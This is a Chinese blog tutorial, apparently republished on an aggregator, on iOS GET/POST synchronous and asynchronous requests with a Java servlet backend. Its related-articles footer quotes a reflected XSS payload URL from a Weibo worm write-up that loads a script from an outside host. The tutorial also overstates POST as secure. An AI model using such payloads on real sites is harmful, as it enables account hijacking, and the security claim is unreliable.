iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式,同步和异步属于实现的方法,Get方式有同步和异步两种方法,Post同理也有两种。稍微有点Web知识的,对Get和Post应该不会陌生,常说的请求处理响应,基本上请求的是都是这两个哥们,Http最开始定义的与服务器交互的方式有八种,不过随着时间的进化,现在基本上使用的只剩下这两种,有兴趣的可以参考本人之前的博客Http协议中Get和Post的浅谈,iOS客户端需要和服务端打交道,Get和Post是跑不了的,本文中包含iOS代码和少量Java服务端代码,开始正题吧.

Get和Post同步请求

Get和Post同步请求的时候最常见的是登录,输入各种密码才能看到的功能,必须是同步,异步在Web上局部刷新的时候用的比较多,比较耗时的时候执行异步请求,可以让客户先看到一部分功能,然后慢慢刷新,举个例子就是餐馆吃饭的时候点了十几个菜,给你先上一两个吃着,之后给别人上,剩下的慢慢上。大概就是这样的。弄了几个按钮先上图:

先贴下同步请求的代码:

     //设置URL路径NSString *urlStr=[NSString stringWithFormat:@"http://localhost:8080/MyWeb/Book?username=%@&password=%@&type=get",@"博客园",@"keso"];urlStr=[urlStr stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];NSURL *url=[NSURL URLWithString:urlStr];//通过URL设置网络请求NSURLRequest *request = [[NSURLRequest alloc]initWithURL:url cachePolicy:NSURLRequestUseProtocolCachePolicy timeoutInterval:10];NSError *error=nil;//获取服务器数据NSData *requestData= [NSURLConnection sendSynchronousRequest:request returningResponse:nil error:&error];if (error) {NSLog(@"错误信息:%@",[error localizedDescription]);}else{NSString *result=[[NSString alloc]initWithData:requestData encoding:NSUTF8StringEncoding];NSLog(@"返回结果:%@",result);}

代码很多,需要解释一下:

①URL如果有中文无法传递,需要编码一下:

[urlStr stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];

②设置网路请求中的代码,有两个参数,最后一个设置请求的时间,这个不用说什么,重点说下缓存策略cachePolicy,系统中的定义如下:

typedef NS_ENUM(NSUInteger, NSURLRequestCachePolicy)
{NSURLRequestUseProtocolCachePolicy = 0,NSURLRequestReloadIgnoringLocalCacheData = 1,NSURLRequestReloadIgnoringLocalAndRemoteCacheData = 4, // UnimplementedNSURLRequestReloadIgnoringCacheData = NSURLRequestReloadIgnoringLocalCacheData,NSURLRequestReturnCacheDataElseLoad = 2,NSURLRequestReturnCacheDataDontLoad = 3,NSURLRequestReloadRevalidatingCacheData = 5, // Unimplemented
};

 NSURLRequestUseProtocolCachePolicy(基础策略),NSURLRequestReloadIgnoringLocalCacheData(忽略本地缓存);

NSURLRequestReloadIgnoringLocalAndRemoteCacheData(无视任何缓存策略,无论是本地的还是远程的,总是从原地址重新下载);

NSURLRequestReturnCacheDataElseLoad(首先使用缓存,如果没有本地缓存,才从原地址下载);

NSURLRequestReturnCacheDataDontLoad(使用本地缓存,从不下载,如果本地没有缓存,则请求失败,此策略多用于离线操作);

NSURLRequestReloadRevalidatingCacheData(如果本地缓存是有效的则不下载,其他任何情况都从原地址重新下载);

Java服务端代码:

	protected void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException {// TODO Auto-generated method stubresponse.setContentType("text/html;charset=utf-8;");PrintWriter out = response.getWriter();System.out.println(request.getParameter("username"));System.out.println(request.getParameter("password"));if (request.getParameter("type") == null) {out.print("默认测试");} else {if (request.getParameter("type").equals("async")) {out.print("异步Get请求");} else {out.print("Get请求");}}}

 最终效果如下:

Post请求的代码,基本跟Get类型,有注释,就不多解释了:

   //设置URLNSURL *url=[NSURL URLWithString:@"http://localhost:8080/MyWeb/Book"];//创建请求NSMutableURLRequest *request = [[NSMutableURLRequest alloc]initWithURL:url cachePolicy:NSURLRequestUseProtocolCachePolicy timeoutInterval:10];[request setHTTPMethod:@"POST"];//设置请求方式为POST,默认为GETNSString *param= @"Name=博客园&Address=http://www.cnblogs.com/xiaofeixiang&Type=post";//设置参数NSData *data = [param dataUsingEncoding:NSUTF8StringEncoding];[request setHTTPBody:data];//连接服务器NSData *received = [NSURLConnection sendSynchronousRequest:request returningResponse:nil error:nil];NSString *result= [[NSString alloc]initWithData:received encoding:NSUTF8StringEncoding];NSLog(@"%@",result);

 Java服务端代码:

	protected void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException {// TODO Auto-generated method stubrequest.setCharacterEncoding("utf-8");  response.setContentType("text/html;charset=utf-8");PrintWriter out = response.getWriter();System.out.println("姓名:" + request.getParameter("Name"));System.out.println("地址:" + request.getParameter("Address"));System.out.println("类型:" + request.getParameter("Type"));if (request.getParameter("Type").equals("async")) {out.print("异步请求");} else {out.print("Post请求");}}

效果如下:

Get和Post异步请求

异步实现的时候需要实现协议NSURLConnectionDataDelegate,Get异步代码如下:

   //设置URL路径NSString *urlStr=[NSString stringWithFormat:@"http://localhost:8080/MyWeb/Book?username=%@&password=%s&type=async",@"FlyElephant","keso"];urlStr=[urlStr stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];NSURL *url=[NSURL URLWithString:urlStr];//创建请求NSURLRequest *request = [[NSURLRequest alloc]initWithURL:url cachePolicy:NSURLRequestUseProtocolCachePolicy timeoutInterval:10];//连接服务器NSURLConnection *connection = [[NSURLConnection alloc]initWithRequest:request delegate:self];

 实现协议的连接过程的方法:

-(void)connection:(NSURLConnection *)connection didReceiveResponse:(NSURLResponse *)response{NSHTTPURLResponse *res = (NSHTTPURLResponse *)response;NSLog(@"%@",[res allHeaderFields]);self.myResult = [NSMutableData data];
}接收到服务器传输数据的时候调用,此方法根据数据大小执行若干次
-(void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data
{[self.myResult appendData:data];}//数据传输完成之后执行方法
-(void)connectionDidFinishLoading:(NSURLConnection *)connection{NSString *receiveStr = [[NSString alloc]initWithData:self.myResult encoding:NSUTF8StringEncoding];NSLog(@"%@",receiveStr);}//网络请求时出现错误(断网,连接超时)执行方法
-(void)connection:(NSURLConnection *)connection didFailWithError:(NSError *)error{NSLog(@"%@",[error localizedDescription]);
}

异步传输的过程数据需要拼接,所以这个时候需要设置一个属性接收数据:

@property (strong,nonatomic) NSMutableData *myResult;

效果如下:

 

Post异步传递代码:

   //设置URLNSURL *url=[NSURL URLWithString:@"http://localhost:8080/MyWeb/Book"];//设置请求NSMutableURLRequest *request = [[NSMutableURLRequest alloc]initWithURL:url cachePolicy:NSURLRequestUseProtocolCachePolicy timeoutInterval:10];[request setHTTPMethod:@"POST"];//设置请求方式为POST,默认为GETNSString *param= @"Name=keso&Address=http://www.cnblogs.com/xiaofeixiang&Type=async";//设置参数NSData *data = [param dataUsingEncoding:NSUTF8StringEncoding];[request setHTTPBody:data];//连接服务器NSURLConnection *connection = [[NSURLConnection alloc]initWithRequest:request delegate:self];

效果如下:

异步的请求比较简单,需要的方法都已经被封装好了,需要注意数据是动态拼接的,请求的代码都是在Java Servlet中实现的,Java项目中的目录如下:

Book.java中代码如下:

import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLDecoder;
import java.net.URLEncoder;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;/*** Servlet implementation class Book*/
@WebServlet("/Book")
public class Book extends HttpServlet {private static final long serialVersionUID = 1L;/*** @see HttpServlet#HttpServlet()*/public Book() {super();// TODO Auto-generated constructor stub}/*** @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse*      response)*/protected void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException {// TODO Auto-generated method stubresponse.setContentType("text/html;charset=utf-8;");PrintWriter out = response.getWriter();System.out.println(request.getParameter("username"));System.out.println(request.getParameter("password"));if (request.getParameter("type") == null) {out.print("默认测试");} else {if (request.getParameter("type").equals("async")) {out.print("异步Get请求");} else {out.print("Get请求");}}}/*** @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse*      response)*/protected void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException {// TODO Auto-generated method stubrequest.setCharacterEncoding("utf-8");  response.setContentType("text/html;charset=utf-8");PrintWriter out = response.getWriter();System.out.println("姓名:" + request.getParameter("Name"));System.out.println("地址:" + request.getParameter("Address"));System.out.println("类型:" + request.getParameter("Type"));if (request.getParameter("Type").equals("async")) {out.print("异步Post请求");} else {out.print("Post请求");}}}

Get和Post总结

①同步请求一旦发送,程序将停止用户交互,直至服务器返回数据完成,才可以进行下一步操作(例如登录验证);

②异步请求不会阻塞主线程,会建立一个新的线程来操作,发出异步请求后,依然可以对UI进行操作,程序可以继续运行;

③Get请求,将参数直接写在访问路径上,容易被外界看到,安全性不高,地址最多255字节;

④Post请求,将参数放到body里面,安全性高,不易被捕获;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460457.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark(前身 Ethereal)是一个网络包分析工具。该工具主要是用来捕获网络数据包,并自动解析数据包,为用户显示数据包的详细信息,供用户对数据包进行分析。它可以运行在 Wi…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现,然后查看汇编和CPU指令手册,最后分析解除自己疑惑的,高手不要鄙视,哈哈。 编译C代码时候需要制定--acps/ropi选项,如下例子: 1 void SystemInit(void)2 {3 }4 …

C#使用Log4Net记录日志【转】

第一步:下载Log4Net 下载地址:http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后,如下图所示: 双击bin文件夹 双击net文件夹,选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector,它们是可变大小的列表,比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因,由于工作的原因,想换一份工作,对于毕业已经快6年了,再次重新学习就需要付出很大的勇气和努力,如果态度还不能及时调整,最近找工作遇到的窘境就不言而喻了。去年底报了一个…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等),请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…

边框颜色为 tintColor 的 UIButton

创建一个 UIButton 的子类,重写其方法: - (void)drawRect:(CGRect)rect {[[self layer] setCornerRadius:CORNER_RADIUS];[[self layer] setMasksToBounds:YES]; [[self layer] setBorderWidth:1];[[self layer] setBorderColor:self.tintColor.CGColo…

netty SimpleChannelInboundHandler类继承使用

2019独角兽企业重金招聘Python工程师标准>>> 继承一个SimpleChannelInboundHandler来实现我们的Client,我们需要重写其中的三个方法: package NettyDemo.echo.handler;import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; …

高中关于人工智能方面的课题_如何看待计算机专业开始设置人工智能课程

首先,当前计算机专业当中设置与人工智能相关的课程是一个必然的趋势,随着人工智能技术开始逐渐实现落地应用,未来计算机相关专业的课程当中,人工智能课程的比重也会逐渐提升,而且一定要重视这些课程,这对于…

Linux命令-目录处理命令:mkdir

mkdir /tmp/beijing mkdir -p /tmp/shijiazhuang/yuhuaqu 一条命令可以同时创建父目录和子目录 mkdir /tmp/beijing/chaoyangqu /tmp/beijing/dongchengqu /tmp/beijing/tongzhouqu 同时创建多个目录

tableau 倒序都倒了_Tableau优秀作品拆解复刻01-是时候终结瘘管病了

写在最前面:这个复刻系列是学习tableau官网库中的优秀作品。学习他们亮眼图表的制作细节,仪表板的排版,颜色的搭配以及交互。tableau库的链接:优秀作品都在这里展示。库​public.tableau.com1 整体布局 颜色: 采用橙色…

目前最细致清晰的NSDictionary以及NSMutableDictionary用法总结(转)

做过Java语言 或者 C语言 开发的朋友应该很清楚 关键字map 吧,它可以将数据以键值对儿的形式储存起来,取值的时候通过KEY就可以直接拿到对应的值,非常方便。在Objective-C语言中 词典对象就是做这个事情的,不过在同一个词典对象中…

android string数组转json_移动端开发基础【20】pages.json的配置项pages

uni-app项目是通过pages节点配置应用由哪些页面组成,pages节点接收一个数组,数组每个项都是一个对象,其属性值如下:(1) 属性:path类型:String描述:配置页面路径(2) 属性:style类型&a…

Ubuntu Server 分区案例

为什么80%的码农都做不了架构师?>>> 只有一台服务器,配置硬盘1TB,内存4GB,既要做开发服务器,又要做Web服务器和数据库服务器,分区如下: 挂载点大小分区格式 /boot512MBext4/20GBext…

360网络修复工具_为什么大家都在骂360,但是360依旧是很强?

相信很多小伙伴也多多少少的听说过就是不要随便装360,因为装上360会如何如何。这些人往往说起来也是很有道理,我在以前上学的时候也是这么觉得,但是后来工作之后发现并不是这样。360先说一下360安全卫士的功能,有系统优化、垃圾清…

Java运行时内存

对于java程序员来说,并不必显示地对内存进行管理,一切都交给java虚拟机去做吧,而且,你也不一定做得比java虚拟机来得专业。好像所有内存管理都交给虚拟机去做就万事大吉了,但是,事实有时并非如此&#xff0…

中班机器人上课视频_家委会:出班费买智能扫地机器人,不用家长搞卫生了,莫名其妙...

【01】原来大家上学,几乎是很随意的样子,有人至没上过幼儿园,有的上过半年,然后就直接升小学。可即使是升小学了,家长也不会管,全凭自己了。可如今随着社会的发展,父母们都非常重视孩子们的学习…

Powerful Sleep(神奇的睡眠-睡眠生物钟的秘密:如何睡得更少却睡得更好)阅读笔记...

睡眠机制 我们活着的时候,大脑会产生脑电波。脑电图仪器通过贴在人头上的一些电极读出脑电波的活动,然后把活动用图表显示出来。 睡眠过程可以分为5个过程,划分依据与大脑发出的脑电波类型。 当人清醒时,大脑发出β脑电波&#xf…

ue4集合类型_UE4粒子系统渲染管线概述

本文基于UE4版本4.25.3,对Cascade粒子系统的移动端渲染管线进行简单的概括和描述。Game Thread部分粒子系统Actor被Spawn(或所在的Level被加载)的时候,UParticleSystemComponent注册和初始化,并通过CreateSceneProxy函…